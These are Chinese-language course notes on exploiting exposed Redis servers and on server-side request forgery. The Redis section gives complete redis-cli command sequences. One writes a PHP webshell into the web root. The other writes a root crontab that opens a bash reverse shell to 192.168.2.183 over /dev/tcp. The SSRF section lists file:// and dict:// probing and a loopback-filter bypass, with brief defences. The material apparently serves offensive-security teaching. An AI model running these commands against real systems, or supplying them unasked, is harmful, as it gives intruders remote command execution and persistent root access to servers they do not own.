课程内容
redis
写webshell
利用持久化存储写webshell
1
2
3
4
5redis-cli -h -p
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET test "<!--?php system($_GET['cmd']); ?-->"
SAVE
写计划任务
利用条件
目标机器为centos系列
cetnos系列cron会略过错误的行
原理与写webshell相同
1
2
3
4
5redis-cli -h -p
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
set test "\n\n\n * * * * * /bin/bash -i >& /dev/tcp/192.168.2.183/9999 0>&1 \n\n\n"
SAVE
写ssh public key
1 | redis-cli -h -p |
ssrf
原因
开发者未对用户可控的url进行限制,导致服务器请求到恶意的url
危害
内网探测
信息泄漏
挖掘
白盒
是否存在用户可控的服务器访问url
黑盒
参数中存在url就可劲干
验证是否存在漏洞
http
dnslog
利用
文件读取
file:///path/to/file
端口探测
dict://host:ip
防御
过滤恶意协议
禁止访问内网ip
绕过防御
对于127.0.0.1
使用127.1.1.1等类似ip绕过